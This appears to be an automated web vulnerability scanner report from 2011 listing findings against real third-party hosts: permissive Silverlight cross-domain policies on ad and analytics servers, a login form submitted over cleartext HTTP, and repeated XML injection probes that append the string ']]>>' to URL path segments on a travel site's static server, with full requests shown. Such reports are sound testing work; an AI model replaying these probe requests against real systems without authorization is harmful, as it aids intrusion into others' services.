HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: application/xml Date: Sun, 02 Oct 2011 23:51:35 GMT ETag: "1435256270" Last-Modified: Mon, 26 Sep 2011 21:54:57 GMT Server: lighttpd/1.4.29-devel-4:6M Content-Length: 321 Connection: Close
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: ads.pointroll.com
Response
HTTP/1.1 200 OK Content-Length: 348 Content-Type: text/xml Last-Modified: Wed, 01 Dec 2010 17:45:39 GMT Accept-Ranges: bytes ETag: "80a33917f91cb1:16e0" Server: Microsoft-IIS/6.0 P3P: CP="NOI DSP COR PSAo PSDo OUR BUS OTC" Date: Sun, 02 Oct 2011 23:49:38 GMT Connection: close
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: b.scorecardresearch.com
Response
HTTP/1.0 200 OK Last-Modified: Thu, 15 Oct 2009 22:41:14 GMT Content-Type: application/xml Expires: Mon, 03 Oct 2011 23:50:07 GMT Date: Sun, 02 Oct 2011 23:50:07 GMT Content-Length: 320 Connection: close Cache-Control: private, no-transform, max-age=86400
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: beacon.securestudies.com
Response
HTTP/1.0 200 OK Last-Modified: Thu, 15 Oct 2009 22:41:14 GMT Content-Type: application/xml Expires: Mon, 03 Oct 2011 23:52:41 GMT Date: Sun, 02 Oct 2011 23:52:41 GMT Content-Length: 320 Connection: close Cache-Control: private, no-transform, max-age=86400
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: dev.virtualearth.net
Response
HTTP/1.1 200 OK Cache-Control: max-age=5443200 Content-Type: text/xml Last-Modified: Sun, 18 Sep 2011 00:40:53 GMT Accept-Ranges: bytes ETag: "63203e9f9b75cc1:0" Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Mon, 03 Oct 2011 01:02:31 GMT Connection: close Content-Length: 374
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: ecn.t0.tiles.virtualearth.net
Response
HTTP/1.0 200 OK Cache-Control: max-age=5443200 Content-Type: text/xml Accept-Ranges: bytes ETag: "92f3dd6d163ccc1:0" Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Content-Length: 458 Age: 1502958 Date: Mon, 03 Oct 2011 01:02:37 GMT Last-Modified: Wed, 06 Jul 2011 19:53:51 GMT Expires: Thu, 17 Nov 2011 15:33:18 GMT Connection: close
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: ecn.t1.tiles.virtualearth.net
Response
HTTP/1.0 200 OK Cache-Control: max-age=5443200 Content-Type: text/xml Accept-Ranges: bytes ETag: "92f3dd6d163ccc1:0" Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Content-Length: 458 Age: 1507571 Date: Mon, 03 Oct 2011 01:02:34 GMT Last-Modified: Wed, 06 Jul 2011 19:53:51 GMT Expires: Thu, 17 Nov 2011 14:16:23 GMT Connection: close
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: ecn.t2.tiles.virtualearth.net
Response
HTTP/1.0 200 OK Cache-Control: max-age=5443200 Content-Type: text/xml Accept-Ranges: bytes ETag: "92f3dd6d163ccc1:0" Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Content-Length: 458 Age: 1506862 Date: Mon, 03 Oct 2011 01:02:37 GMT Last-Modified: Wed, 06 Jul 2011 19:53:51 GMT Expires: Thu, 17 Nov 2011 14:28:14 GMT Connection: close
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: ecn.t3.tiles.virtualearth.net
Response
HTTP/1.0 200 OK Cache-Control: max-age=5443200 Content-Type: text/xml Accept-Ranges: bytes ETag: "92f3dd6d163ccc1:0" Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Content-Length: 458 Age: 1510791 Date: Mon, 03 Oct 2011 01:02:31 GMT Last-Modified: Wed, 06 Jul 2011 19:53:51 GMT Expires: Thu, 17 Nov 2011 13:22:40 GMT Connection: close
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: hits.guardian.co.uk
Response
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:51:01 GMT Server: Omniture DC/2.0.0 xserver: www4 Content-Length: 263 Keep-Alive: timeout=15 Connection: close Content-Type: text/html
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: pixel.quantserve.com
Response
HTTP/1.0 200 OK Connection: close Cache-Control: private, no-transform, must-revalidate, max-age=86400 Expires: Mon, 03 Oct 2011 23:48:53 GMT Content-Type: text/xml Content-Length: 312 Date: Sun, 02 Oct 2011 23:48:53 GMT Server: QS
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: premiumtv.122.2o7.net
Response
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:50:17 GMT Server: Omniture DC/2.0.0 xserver: www376 Content-Length: 263 Keep-Alive: timeout=15 Connection: close Content-Type: text/html
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: s0.2mdn.net
Response
HTTP/1.0 200 OK Vary: Accept-Encoding Content-Type: text/xml Last-Modified: Sun, 01 Feb 2009 08:00:00 GMT Date: Sun, 02 Oct 2011 21:13:15 GMT Expires: Sun, 02 Oct 2011 21:10:22 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 1; mode=block Age: 9563 Cache-Control: public, max-age=86400
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: secure-uk.imrworldwide.com
Response
HTTP/1.1 200 OK Server: nginx Date: Sun, 02 Oct 2011 23:51:44 GMT Content-Type: text/xml Content-Length: 255 Last-Modified: Mon, 19 Oct 2009 01:46:36 GMT Connection: close Expires: Sun, 09 Oct 2011 23:51:44 GMT Cache-Control: max-age=604800 Accept-Ranges: bytes
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: speed.pointroll.com
Response
HTTP/1.0 200 OK Content-Length: 348 Content-Type: text/xml Last-Modified: Wed, 01 Dec 2010 17:45:39 GMT Accept-Ranges: bytes ETag: "80a33917f91cb1:51d" Server: Microsoft-IIS/6.0 P3P: CP="NOI DSP COR PSAo PSDo OUR BUS OTC" X-Powered-By: ASP.NET Date: Sun, 02 Oct 2011 23:49:49 GMT Connection: close
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:29:43 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 229491
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.hotelplanner.com/Login.cfm
The form contains the following password field:
Password
Request
GET /Search/Index.cfm?City=Boston&InDate=10/04/2011&OutDate=10/07/2011&NumRooms=1&adults=1&State=Massachusetts&Country=United%20States&sc=IGoUGo HTTP/1.1 Host: www.hotelplanner.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=hotelplanner&grp=9701&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.hotelplanner.com%2FSearch%2FIndex.cfm%3FCity%3D%24%7Bcity%7D%26InDate%3D%24%7BdepartureDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26OutDate%3D%24%7BreturnDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26NumRooms%3D%24%7Brooms%7D%26adults%3D%24%7Badults%7D%26State%3D%24%7Bstaten%7D%26Country%3D%24%7Bcountryn%7D%26sc%3DIGoUGo&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=149&pos=5&aii=41baf401-e791-4c75-8143-e95891286e0a&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:10:06 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Set-Cookie: SOURCECODE=IGoUGo;expires=Sat, 31-Mar-2012 00:10:06 GMT;path=/ Vary: Accept-Encoding Content-Length: 225194
XML or SOAP injection vulnerabilities arise when user input is inserted into a server-side XML document or SOAP message in an unsafe way. It may be possible to use XML metacharacters to modify the structure of the resulting XML. Depending on the function in which the XML is used, it may be possible to interfere with the application's logic, to perform unauthorised actions or access sensitive data.
This kind of vulnerability can be difficult to detect and exploit remotely; you should review the application's response, and the purpose which the relevant input performs within the application's functionality, to determine whether it is indeed vulnerable.
Issue remediation
The application should validate or sanitise user input before incorporating it into an XML document or SOAP message. It may be possible to block any input containing XML metacharacters such as < and >. Alternatively, these characters can be replaced with the corresponding entities: < and >.
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/deploy/??css/hotelDetails-sprite.css,css/purchasePath-sprite.css,css/details.css,css/hotels-sprite.css,css/tripWatcherLayout.css,css/promoUnit.css,ver=222153 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy]]>>/??css/hotelDetails-sprite.css,css/purchasePath-sprite.css,css/details.css,css/hotels-sprite.css,css/tripWatcherLayout.css,css/promoUnit.css,ver=222153 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/deploy/css/BedTypeSelectionComp.css?ver=171374 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:20 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy]]>>/css/BedTypeSelectionComp.css?ver=171374 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:23 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/css]]>>/BedTypeSelectionComp.css?ver=171374 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535999 Date: Mon, 03 Oct 2011 01:02:27 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/css/BedTypeSelectionComp.css]]>>?ver=171374 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:31 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/deploy/css/car/CarAddOnComp.css?ver=206929 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535997 Date: Mon, 03 Oct 2011 01:02:02 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy]]>>/css/car/CarAddOnComp.css?ver=206929 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535976 Date: Mon, 03 Oct 2011 01:02:03 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/css]]>>/car/CarAddOnComp.css?ver=206929 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:05 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/css/car]]>>/CarAddOnComp.css?ver=206929 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535954 Date: Mon, 03 Oct 2011 01:02:09 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/deploy/css/car/CarAddOnComp.css]]>>?ver=206929 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535999 Date: Mon, 03 Oct 2011 01:02:11 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/deploy/css/hotel/details/hotelDetailsMapContainerComp.css?ver=219463 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/css,*/*;q=0.1 Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
